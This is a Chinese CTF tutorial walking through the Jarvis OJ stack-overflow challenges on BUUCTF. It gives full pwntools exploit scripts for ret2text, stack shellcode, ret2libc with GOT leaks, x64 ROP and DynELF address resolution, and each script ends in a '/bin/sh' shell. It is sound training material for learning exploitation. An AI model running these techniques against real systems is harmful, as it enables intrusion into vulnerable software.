如果你刚开始接触 PWN,大概率会被一堆名词吓到:栈溢出、NX、canary、ret2libc、DynELF……我当年第一次打开 BUUCTF 上的jarvisoj_level(全)时,也完全不知道从哪里下手。说实话,这个系列在 BUUCTF 的 PWN 入口题里属于"跨门槛"的那一类:前面可能刚写完test_your_nc、rip这种纯送分题,到这儿突然要求你自己分析栈布局、自己挑选 ROP 链,没有现成脚本可抄了。
Jarvis OJ 的 level 系列我印象里一直是一套非常友好的 PWN 入门组合拳。它没有出偏题怪题,就是把"栈溢出"这一个点从最朴素的 ret2text 一路问到 DynELF。五个 level 走完,等于把 PWN 入门的底层链路完整过了一遍:怎么找漏洞点、怎么算偏移、怎么在没有后门函数的时候向 libc 借力、怎么在连 libc 都没有的情况下硬抠出 system 地址。这篇文章不打算写成简单的"一题一答案"式 Writeup,而是按我自己重新过这套题时的思路拆开讲,把每个 level 为什么这么打、踩过哪些坑都写清楚。适合刚会写点 C、装好了 Kali 或者 Ubuntu、想在栈溢出上真正上手的读者。
1. 这个系列为什么是"新手劝退题"与"过门槛题"的分界
Jarvis OJ 的 level 系列在 BUUCTF 上被合并成了jarvisoj_level(全),但它实际上是六道互相承接的小题:level0、level1、level2、level3、level3_x64、level4。每一道题都是同一个套路——程序里有一个明显的read栈溢出点,但利用手法在逐步变难。
先放一张我对这个系列的整体认知表格,方便你建立全局概念:
| 题目 | 位数 | 典型保护 | 核心利用手法 | 这道题真正想让你学会的东西 |
|---|---|---|---|---|
| level0 | x64 | 基本没有保护 | ret2text | 找后门函数、算栈偏移 |
| level1 | x86 | NX 关闭 | ret2shellcode | 在栈上执行 shellcode、处理泄露地址 |
| level2 | x86 | 开启了 NX | ret2libc 入门 | 调用 system 并正确传入参数 |
| level3 | x86 | 开启了 NX | ret2libc + 地址泄露 | 利用 GOT/PLT 泄露 libc 基址 |
| level3_x64 | x64 | 开启了 NX | ROP + 寄存器传参 | 掌握 x64 下 ROP 链构造 |
| level4 | x86 | 开启了 NX | DynELF | 在没有 libc 附件时动态解析地址 |
这个难度曲线很关键:每道题只比上一道多引入一个核心概念,不会一次性塞给你一堆知识点。
拿 level0 来说,它就是个"送分题":程序里直接有一个callsystem之类的函数,里面调用了system("/bin/sh"),你要做的就是通过栈溢出把返回地址改成这个函数的地址。但很多人就是在这里开始懵的——ret2text、ret2shellcode、ret2libc这些名词在文章里见过的都认识,可真拿到一个二进制文件时,不知道该先开 IDA 还是先跑 checksec,不知道偏移怎么算,也不知道p64和p32为什么不能混用。
到了 level2、level3,情况开始变化:程序里没有现成的后门函数了,你需要自己调用system,并且需要把"/bin/sh"这个参数正确放到栈上。这里牵涉到调用约定、栈平衡、PLT/GOT 机制、libc 地址随机化等一系列概念。说实话,只要把 level2 和 level3 真正吃透,后面很多 PWN 入门题你都会觉得眼熟。
而最后的 level4 更是"地狱开局":题目不给你 libc 文件,远程环境里的 libc 版本也不一定和本地一致,等于让你在没有地图的情况下找system的地址。DynELF 的代码写起来不算长,但它背后的 ELF 动态链接知识是个坎。
所以这个系列到底在练什么?我觉得就三件事:第一,读懂反编译代码并定位漏洞点;第二,算清楚栈偏移并构造 payload;第三,掌握程序与 libc 之间的地址关系。这三件事任何一件没想明白,做后面的题都会频繁卡壳。
2. 开打之前,先把这些工具和习惯装进脑子里
刷题环境不需要多豪华,绝大多数操作其实只需要几个固定工具。我用的环境是 Ubuntu,Python 3,加上 pwntools 全家桶。如果你用 Kali,那更是开箱即用。
2.1 工具链清单
| 工具 | 作用 | 我的使用习惯 |
|---|---|---|
| checksec / pwntools 内置 checksec | 查看程序开启了哪些保护 | 每个题目第一件事就是跑它,决定后续思路 |
| IDA Pro / Ghidra | 反编译二进制,分析漏洞点 | 主要看 F5 后的伪代码,替换变量名、梳理调用关系 |
| pwntools | 编写 exploit 脚本,收发数据、生成 shellcode、自动算偏移 | 几乎所有 exp 都用它写 |
| gdb + pwndbg | 动态调试,确认栈布局、断点、内存内容 | 算偏移或者 payload 打不通时,用它一步一步看栈 |
| ROPgadget | 搜索可用的 ROP gadget | 找pop rdi; ret这类指令序列 |
| one_gadget / LibcSearcher | 找 libc 偏移或 one_gadget | 题目给了 libc 文件时用偏移表;没有时才用 LibcSearcher |
安装部分没什么好说的,重点是 pwntools 的版本。现在大部分 writeup 都默认你用的是 Python 3 环境,如果你还停留在 Python 2 的pwn库,很多字符串处理会非常折磨人。
pip3 install --upgrade pwntools另外,我强烈建议本地调试时把 gdb 插件装好,pwndbg 或者 gef 二选一。它们能直接在 gdb 里显示当前栈上的地址、寄存器值,对新手理解"返回地址覆盖"的过程帮助巨大。
2.2 我总结的答题三原则
第一,先 checksec,再开 IDA。这个顺序不能反。因为你只有知道了 NX、PIE、canary 的状态,才能判断这题大概率要往哪个方向打。NX 没开,也许就能直接上 shellcode;PIE 没开,程序里所有函数地址就是固定的,可以随便用;canary 存在的话,就得先想办法绕过 canary,否则栈溢出根本没戏。Jarvis OJ 这个系列大多数没有 canary,也没有 PIE,这就是专门降低难度给你练的。
第二,本地能跑通,再打远程。很多人喜欢直接在 BUUCTF 的靶机上试 payload,一次打不通就重新连一次。但远程环境是黑盒,出错信息远没有本地详细,你根本不知道是偏移算错了还是地址不对。正确做法是先把题目二进制下载下来,在本地把 shell 打通,再换成远程地址,只改一行连接代码。
第三,远程端口每次分配不一样。BUUCTF 上的题目端口是动态分配的,你复制别人的 exp 前一定要先看自己题目页面上的端口是多少。很多人在这一步卡了半小时,以为自己 exp 写错了,其实只是连错了端口。
2.3 环境上最容易踩的两个坑
第一个坑是libc 版本不一致。本地 Ubuntu 的 libc 和远程靶机的 libc 很可能不是同一个版本,这就导致system、read这些函数的偏移不一样。如果你在本地算好了地址,直接打远程,大概率会段错误。解决方案是优先利用题目附件里自带的 libc 文件,如果没有附件,就用 DynELF 或者 LibcSearcher 这类工具去匹配远程 libc。
第二个坑是本地 ASLR 的影响。如果你在 gdb 里启动程序,gdb 默认会关闭地址随机化,所以你看到的栈地址、libc 地址在调试时是一个值,直接运行程序时又是另一个值。用 pwntools 起本地进程时,它会默认继承当前 shell 的环境,地址也是随机的。后来我养成了一个习惯:context.binary = ELF('./level0'),让 pwntools 自动帮你处理架构、位数,并且本地调试时可以手动关掉 ASLR 来复现 gdb 里的地址。
3. level0 与 level1:第一次把返回地址握在自己手里
这个阶段的目标只有一个:亲手构造第一个可以拿到 shell 的 payload。虽然两题的解法不同,但它们共用一套底层逻辑——函数返回时,CPU 会把栈顶弹出的地址当 pc 继续执行。我们覆盖掉这个栈顶内容,程序就会跳到我们指定的地方。
3.1 level0:一个没有任何保护的 ret2text
用 IDA 打开 level0,反编译后代码很简单,核心就是这样一个函数:
ssize_t vuln() { char buf[128]; // [rsp+0h] [rbp-0x80h] return read(0, buf, 0x200uLL); }buf有 128 字节,但read能读入 0x200 字节,这就是经典的栈溢出点。IDA 的变量注释已经把布局写得很清楚了:buf在rbp-0x80的位置。那么返回地址在哪?在 x64 下,函数的栈帧布局是:
低地址 +------------------+ | buf[0..127] | rbp-0x80 +------------------+ | 旧 rbp 值 | rbp +------------------+ | 返回地址 | rbp+0x8 +------------------+ 高地址所以溢出到返回地址的偏移就是0x80 + 0x8 = 0x88,十进制就是 136。
程序里还有一个明显的后门函数,反编译大概是:
void callsystem() { system("/bin/sh"); }那思路就非常简单了:先填 136 个字节,把旧 rbp 和返回地址之前的空间全部占满,再填入callsystem的地址,让函数返回时跳进去。exp 如下:
from pwn import * context.arch = 'amd64' context.log_level = 'debug' # 本地调试 # p = process('./level0') # 远程靶机 p = remote('node4.buuoj.cn', 12345) # 端口换成你题目页面分配的 elf = ELF('./level0') payload = b'A' * 0x88 + p64(elf.symbols['callsystem']) p.sendline(payload) p.interactive()这里elf.symbols['callsystem']是 pwntools 直接从 ELF 符号表里取地址,比自己从 IDA 里抄地址再手写十六进制靠谱得多,不容易写错。
很多人第一次写这题会遇到两个小问题:一是p64和p32搞混。level0 是 x64 程序,地址是 8 字节,必须用p64;你如果用p32,后面四个字节会缺失,导致程序跳到一个错误地址。二是 payload 发送的时候用sendline还是send?因为这道题的read不会因为换行符就停止读入,所以两者都行,但其他题目里如果遇到gets这类函数,就要小心换行会在 payload 末尾添加一个\x0a,把布局挤歪。
3.2 level1:NX 关闭时,把 shellcode 放到栈上
level1 换成了 x86,程序里没有callsystem这种现成后门了,但 checksec 之后会发现一个关键信息:NX 关闭。也就是说,栈上的数据可以被当作指令执行。那思路就不再是"跳到一个已有的函数",而是自己把 shellcode 写到栈上,然后让程序跳过去执行。
level1 的反编译大概是这个样子:
int vuln() { char buf[128]; // [esp+0h] [ebp-0x88h] printf("What's this: %p\n", buf); return read(0, buf, 0x100u); }程序很贴心,直接把buf的栈地址打印给你了,省得你再花力气去猜。所以流程就是:接收这行打印,解析出buf地址;然后往buf里填充 shellcode,再填充一堆占位字符,最后把返回地址覆盖为buf地址。
x86 下偏移计算也很简单:buf在ebp-0x88,返回地址在ebp+0x4,所以偏移是0x88 + 0x4 = 0x8C,十进制 140。
exp 如下:
from pwn import * context.arch = 'i386' p = process('./level1') p.recvuntil(b"What's this: ") buf_addr = int(p.recvline().strip(), 16) log.success("buf addr: " + hex(buf_addr)) shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(140, b'A') + p32(buf_addr) p.sendline(payload) p.interactive()这里有一个非常重要的细节:shellcraft.sh()生成的是符合当前context.arch架构的 shellcode。如果你忘了写context.arch = 'i386',pwntools 默认可能是 64 位,生成一段 64 位 shellcode 扔到 32 位程序里,执行到第一个非法指令就直接崩了。我第一次打这类题就是栽在这里,换了半天 shellcode,最后发现是架构没设对。
3.3 这两题最容易踩的坑
关于 shellcode 里的空字节。如果你的 shellcode 中间带有\x00,而接收端用的是read,那没关系,read不会把\x00当成结束符,它会原样读入内存。但如果你后面做题遇到了gets或strcpy这类字符串处理函数,空字节会导致输入被截断,那就得用不带空字节的 shellcode,或者换一种利用方式。
关于地址行解析。printf("%p")输出的地址可能是0xffaabbcc这种,也可能在某些环境下被截断成0xffaabb,因为栈地址的高位一般是0xff,如果上面还有\x00,只要不是用字符串拼接,read就不会丢。接收时用p.recvuntil定位到目标行,再用p.recvline().strip()提取,最后int(x, 16)转成整数,一气呵成。
关于recv时机。如果程序打印了很多内容,而你急着sendline(payload),有可能导致程序还没读完打印、缓冲区里的数据没被你的 recv 收干净,之后读取地址就会出现错位。稳妥的做法是在每次交互前,用recvuntil等到程序真正需要输入的那个提示符出现。
4. level2 与 level3:程序没有后门之后,学会向 libc 借力
打到 level2,游戏规则开始变了。程序里有溢出点,但没有callsystem这样的后门函数,NX 还开着,栈上执行 shellcode 的路也断了。这时候就得换一个思路:程序自己没后门,但系统里有一个功能完备的"工具箱"叫 libc,里面有system函数,也有"/bin/sh"字符串。
4.1 动态链接与 ret2libc 的概念
现代 Linux 程序大多使用动态链接。程序运行时,libc 会被加载到内存中,printf、read、write这些函数的真实实现都在 libc 里,程序通过 PLT 和 GOT 跳转过去。GOT 表项在最开始是一段跳板地址,等函数第一次被调用后,动态链接器会把真实的 libc 函数地址写到 GOT 表项里。
所以,正常情况下 libc 是在内存里的,system、execve、"/bin/sh"都在 libc 的某个固定偏移处。问题是:libc 每次加载的基址是随机的(ASLR),我们不知道它在哪。ret2libc 的核心,就是想办法拿到 libc 中某个函数的真实地址,然后以它为基准,推算出system和"/bin/sh"的地址。
4.2 level2:调用 system 并把参数放到正确位置
level2 是一个 x86 程序,反编译之后,漏洞函数依然是经典的read溢出。这道题通常会在程序里找到system的 PLT 地址,或者你能确定远程 libc 版本后直接用偏移。x86 下调用函数传参很简单,所有参数都压栈。调用system时,栈要这样布置:
[padding 填充到返回地址] [system_plt] [返回地址占位] ["/bin/sh" 地址]注意第三行的"返回地址占位"不能省。因为system函数执行完ret之后,CPU 会从栈上再弹一个值当作它的返回地址。如果你不填这个占位,CPU 就会把后面的参数地址当成返回地址,导致程序流程错乱。这个占位填什么其实无所谓,填个0xdeadbeef都行,我们只关心在执行system("/bin/sh")的时候拿不拿得到 shell。
exp 大概是:
from pwn import * context.arch = 'i386' p = process('./level2') elf = ELF('./level2') # 程序里如果有 /bin/sh 直接搜 binsh_addr = next(elf.search(b'/bin/sh')) system_plt = elf.plt['system'] payload = b'A' * 140 payload += p32(system_plt) payload += p32(0xdeadbeef) # system 的返回地址,随意 payload += p32(binsh_addr) p.sendline(payload) p.interactive()这里面有个细节:elf.search(b'/bin/sh')返回的是一个生成器,如果程序里没有这个字符串,就会抛异常。level2 的题目二进制里有时包含这个字符串,有时不包含,取决于题目具体版本。如果没有,就得先通过泄露去推 libc 基址,再用 libc 偏移去找"/bin/sh",这正是 level3 要做的事。
4.3 level3:泄露 GOT,反推 libc 基址
level3 的难点从"怎么调用 system"变成了"怎么知道 system 的地址"。题目给了你 libc 文件,或者你自己能确定 libc 版本,但程序加载 libc 时基址是随机的,所以你不能直接写死system的绝对地址。
这时候就要用到泄露技巧。最简单的方式是调用write或puts,让它把某个 GOT 表项的内容打印出来。GOT 表项里存的是一个真实函数的 libc 地址,拿到这个值后,减去 libc 文件里对应的偏移,就得到了 libc 基址。有了基址,system、"/bin/sh"的地址全都能推出来。
level3 是 x86 程序,所以write(1, read_got, 4)这种调用方式很自然。第一次发送的 payload 要让程序执行write泄露地址,然后再次调用vuln,以便我们发送第二段 payload 完成 getshell。这也是"需要触发两次漏洞"的原因。
exp 骨架:
from pwn import * context.arch = 'i386' p = process('./level3') elf = ELF('./level3') libc = ELF('./libc-2.23.so') # 以题目附件为准 vuln_addr = elf.symbols['vuln'] write_plt = elf.plt['write'] read_got = elf.got['read'] # 第一段 payload:write(1, read_got, 4),然后回 vuln payload1 = b'A' * 140 payload1 += p32(write_plt) payload1 += p32(vuln_addr) payload1 += p32(1) payload1 += p32(read_got) payload1 += p32(4) p.sendline(payload1) read_addr = u32(p.recv(4)) log.success("read addr: " + hex(read_addr)) # 根据 libc 偏移计算 system 和 /bin/sh libc_base = read_addr - libc.symbols['read'] system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) # 第二段 payload:system("/bin/sh") payload2 = b'A' * 140 payload2 += p32(system_addr) payload2 += p32(0xdeadbeef) payload2 += p32(binsh_addr) p.sendline(payload2) p.interactive()4.4 这一步最关键的几个细节
为什么泄露read@got而不是write@got?因为我们的漏洞函数本身调用过read,程序执行到溢出点之前,read已经实际被调用了,所以read@got里存的绝对是真实的 libc 地址。如果你去泄露一个从未被调用过的函数 GOT,里面可能还是 PLT 跳板地址,泄露出来也没用。
recv(4)会不会多读到数据?write发送完泄露的 4 字节之后,程序会回到vuln并打印它自己的提示信息。如果你用p.recv(4),恰好只读 4 字节,不会把后续的提示信息吞掉。但如果你条件反射地用了recvuntil,可能就会等待一个并不存在的字符串而卡死。
远程 libc 版本必须和题目一致。很多人在本地用/lib/x86_64-linux-gnu/libc.so.6去算偏移,本地可能能打通,但远程一打就崩,因为远程 libc 根本不是这个版本。所以 level3 这类题,一定要优先用题目附件里给的libc.so。如果 BUUCTF 的题目附件里没附 libc,那就得考虑用 LibcSearcher 或者 DynELF 去处理远程的 libc。
5. level3_x64 与 level4:寄存器传参、DynELF 与"没有库"的硬仗
如果说前面的题是在教你"该往哪里跳",那么到了 level3_x64 和 level4,核心问题就变成了"跳过去之后,怎么把函数参数安排到位"。尤其是 level4,它不给你 libc 文件,你必须自己从内存里把地址抠出来。
5.1 x64 与 x86 传参方式的天壤之别
x86(32 位)程序调用函数时,参数全部压栈,所以 ROP 链只需要在栈上依次放参数。x64 程序不一样,前六个参数分别由rdi、rsi、rdx、rcx、r8、r9传递。也就是说,你光把参数放到栈上没有用,还得先通过 gadget 把这些值放进寄存器。
最典型的 gadget 就是:
pop rdi; ret它的作用是把栈顶的值弹出到rdi,然后执行ret。这样,你可以在 ROP 链上写成:
[pop rdi; ret 的地址] [参数值] [函数地址]程序执行到pop rdi; ret时,先把参数值弹进rdi,然后跳转到函数地址。这就等效于调用了函数(参数值)。
5.2 level3_x64:用 puts 泄露 + 栈对齐
level3_x64 是 level3 的 64 位版本。64 位下,如果用write泄露地址,你得同时控制rdi(fd)、rsi(buf)、rdx(len)三个寄存器,但如果程序里有puts或printf,那事情就简单多了——puts只有一个参数,只要控制rdi指向你想泄露的 GOT 表项,再调用puts@plt就行。
from pwn import * context.arch = 'amd64' p = process('./level3_x64') elf = ELF('./level3_x64') # 找 gadget,也可以用 ROPgadget 手动查 pop_rdi = 0x4006c3 # 以你查到的为准 vuln_addr = elf.symbols['vuln'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] offset = 0x88 # 64位:rbp-0x80 + 8 payload1 = b'A' * offset payload1 += p64(pop_rdi) payload1 += p64(puts_got) payload1 += p64(puts_plt) payload1 += p64(vuln_addr) # 回到 vuln,为第二次利用做准备 p.sendline(payload1) # puts 会一直输出到 \x00 为止,所以可能比 8 字节少,多收一段然后截取 puts_addr = u64(p.recvuntil(b'\n').strip().ljust(8, b'\x00')) log.success("puts addr: " + hex(puts_addr))这里有件事必须单独说:64 位下调用 system 之前经常要在链子里多放一个ret。原因是 glibc 的system函数内部可能使用到movaps指令,它对栈对齐有要求,要求执行到该指令时栈指针按 16 字节对齐。如果你的 ROP 链在进入system时栈没有对齐,程序会直接 SIGSEGV。解决办法是在pop rdi; ret之前或者之后,再插一个retgadget,把栈整体往后挪 8 字节。很多新手第一次打 x64 题就是死于这个问题:地址全对、偏移全对,但一调system就崩溃。
所以推荐最终 payload 布局是:
[padding] [ret] # 平衡栈,可选 [pop rdi; ret] [地址或参数] [system] [占位地址] [参数值] # 如果后续还想继续执行具体是否需要额外加ret,取决于你的调用链,建议调试时多试两种布局。
5.3 level4:没有 libc 文件时的 DynELF 打法
刷到 level4 时,你可能会发现题目附件里没有 libc 文件。这意味着即使你成功泄露了一个函数地址,也没有办法直接减偏移算出system的地址。这时候就需要 DynELF 登场。
DynELF 的原理可以这样理解:它通过你提供的一个"任意地址读"函数,递归地解析内存中的 ELF 动态链接结构。先找到 ELF 头部,然后从 program header 里找到 dynamic 段,再从 dynamic 段里找到动态符号表.dynsym和字符串表.dynstr,最后按符号名匹配出system的真实地址。整个过程不需要提前知道 libc 版本,只要你能够让它读取任意内存地址即可。
要使用 DynELF,我们先得构造一个leak函数。以 x86 的 level4 为例,如果程序有write@plt,且每次 exploit 之后可以重新回到vuln,那 leak 函数长这样:
from pwn import * context.arch = 'i386' p = process('./level4') elf = ELF('./level4') write_plt = elf.plt['write'] vuln_addr = elf.symbols['vuln'] def leak(addr): # 每次先收提示,保证同步 p.recvuntil(b'Input:') payload = b'A' * 140 payload += p32(write_plt) payload += p32(vuln_addr) # 让 write 执行完再回 vuln payload += p32(1) # fd = 1(标准输出) payload += p32(addr) # 读的地址 payload += p32(4) # 读取长度 p.sendline(payload) data = p.recv(4) return data然后,要给出一个"锚点地址",也就是我们已经知道的某个 libc 内真实地址。通常可以先泄露一个函数的 GOT 地址,比如write@got:
# 先泄露 write 的真实地址 p.recvuntil(b'Input:') payload_leak = b'A' * 140 payload_leak += p32(write_plt) payload_leak += p32(vuln_addr) payload_leak += p32(1) payload_leak += p32(elf.got['write']) payload_leak += p32(4) p.sendline(payload_leak) write_addr = u32(p.recv(4)) log.success("write addr: " + hex(write_addr)) d = DynELF(leak, pointer=write_addr) system_addr = d.lookup('system', 'libc') log.success("system addr: " + hex(system_addr))拿到system地址之后,还缺"/bin/sh"字符串。如果程序本身的二进制里能搜到就最好,搜不到的话,就自己利用漏洞把字符串写到 BSS 段。这也是一个经典的"二次利用"思路:第一次利用read把"/bin/sh"读入 BSS,第二次再调用system指向 BSS 里的字符串。
read_plt = elf.plt['read'] bss_addr = elf.bss() # BSS 段地址 def write_binsh(): payload = b'A' * 140 payload += p32(read_plt) payload += p32(vuln_addr) payload += p32(0) # 标准输入 payload += p32(bss_addr) # 写到 BSS payload += p32(8) # 长度 8 p.sendline(payload) p.sendline(b'/bin/sh\x00') write_binsh() # 最后调用 system("/bin/sh") payload_final = b'A' * 140 payload_final += p32(system_addr) payload_final += p32(0xdeadbeef) payload_final += p32(bss_addr) p.sendline(payload_final) p.interactive()如果你拿到的是 x64 版本,那整个脚本里的参数传参方式都要改成寄存器 gadget,比如pop rdi; ret、pop rsi; ret等,同时read的三个参数也要分别控制rdi、rsi、rdx。这类题目一般都能用__libc_csu_init里的通用 gadget 凑齐三个寄存器,具体地址用 ROPgadget 搜索即可。
5.4 DynELF 打法中常见的坑
DynELF 很慢,leak 函数要保证稳定。因为 DynELF 需要多次调用你的漏洞函数,每次都要完整地执行一次 write、再回到 vuln、再读入下一段 payload。如果 leak 函数里recvuntil同步没做好,某一轮数据错位,后面整个解析过程就乱了。
BSS 地址要选对。如果程序有 PIE,elf.bss()给出的地址要在你泄露了程序基址之后再加上偏移;如果程序没开 PIE,那elf.bss()就是固定地址。Jarvis OJ 这个系列基本都没有 PIE,所以可以直接用。但你要养成习惯,拿到题目先看有没有 PIE,别想当然。
system拿到后不要直接接p.sendline('cat flag')。调用了system("/bin/sh")之后,标准输入输出都是连到远程 socket 的,你需要p.interactive()挂起交互,然后手动输入cat flag。有些时候,题目目标不是直接弹 shell,而是执行特定命令,那你就得看着题目的提示调整 payload,不要死磕/bin/sh。
6. 打完五道题沉淀出的通用排查清单
最后这部分,不按题目顺序讲,而是给一个我自己刷题时反复用到的排查思路。你可以把它当成"栈溢出类题目"的检查表。
6.1 拿到一个 PWN 题,我固定走的五步
- checksec 看保护。先确认位数、NX、PIE、canary。位数决定
p32还是p64,NX 决定能不能执行栈,PIE 决定地址要不要泄露,canary 决定溢出前要不要先绕过 cookie。 - IDA 找漏洞点。优先看
read、gets、strcpy、sprintf这些危险函数,对比缓冲区大小和可读入长度,确认是否溢出。 - 找后门。程序里有没有现成
system("/bin/sh")或者execve调用点?如果有,那就是 ret2text。 - 找泄露点。没有后门,那就看程序里有没有打印函数(
puts、printf、write),GOT 表里哪些函数已经用过,能不能把它打出来。 - 决定利用链。栈可执行就用 shellcode;有 libc 文件就用 ret2libc;没有 libc 就上 DynELF。
6.2 偏移计算速查
| 位数 | 缓冲区偏移惯例 | 返回地址位置 |
|---|---|---|
| x64 | buf在rbp-0x80,偏移0x80 + 0x8 = 0x88(136) | rbp+0x8 |
| x86 | buf在ebp-0x88,偏移0x88 + 0x4 = 0x8C(140) | ebp+0x4 |
注意这是看 IDA 反编译注释算出来的常见值,不要死记,因为每道题的缓冲区大小不一样。用 pwntools 的cyclic也可以自动测偏移:先发送一段 500 字节的cyclic,程序崩溃后看错误地址,再用cyclic_find找偏移。
6.3 常见报错对照与原因
| 现象 | 大概率原因 |
|---|---|
| 本地能打通,远程打不通 | 远程 libc 版本不一致,或端口不对,或 ASLR 状态不同 |
recv一直等不到数据 | 没有先recvuntil程序提示符,或者程序根本没有走到输出点 |
| 发送 payload 后程序直接退出 | system之后的栈平衡没处理,或返回地址被覆盖错位 |
got EOF/Connection closed | payload 里有坏字符导致输入被截断,或 ROP 链长度不对 |
| 拿到 shell 后敲命令没反应 | 可能system("/bin/sh")执行的不是交互式 shell,检查/bin/sh路径是否正确 |
调system就段错误 | 64 位下栈未对齐,尝试在 ROP 链中加一个额外的ret |
6.4 用 gdb 验证 payload 的最后一步
如果你实在排查不出问题,别瞎猜,直接上 gdb。pwntools 里可以这么干:
p = gdb.debug('./level3_x64', ''' set disable-randomization on b *vuln continue ''')然后在 gdb 窗口里看rsp、看栈上的数据、单步执行到ret,你就能清楚看到程序到底跳到了哪、参数寄存器到底是什么。这类题说白了就是一个"地址对不对、偏移准不准、栈平不平"的问题,只要把这三件事验证清楚,基本上都能打通。
最后再分享一点个人体会:Jarvis OJ 这套 level 系列,我过完一遍之后最大的收获不是背会了几个 exp,而是养成了"先分析再动手"的习惯。每道题在动手写脚本之前,我都会先在草稿纸上画出栈布局、标清楚 payload 每一段对应什么。越往后做越发现,PWN 题最重要的其实不是花哨的工具,而是能不能把"内存里的数据是怎么流动的"这件事想明白。如果 level4 的 DynELF 让你觉得劝退,没关系,多调试几遍,把每一轮 leak 到底读到了什么地址打出来看,没过多久你就会有那种"原来如此"的顿悟感。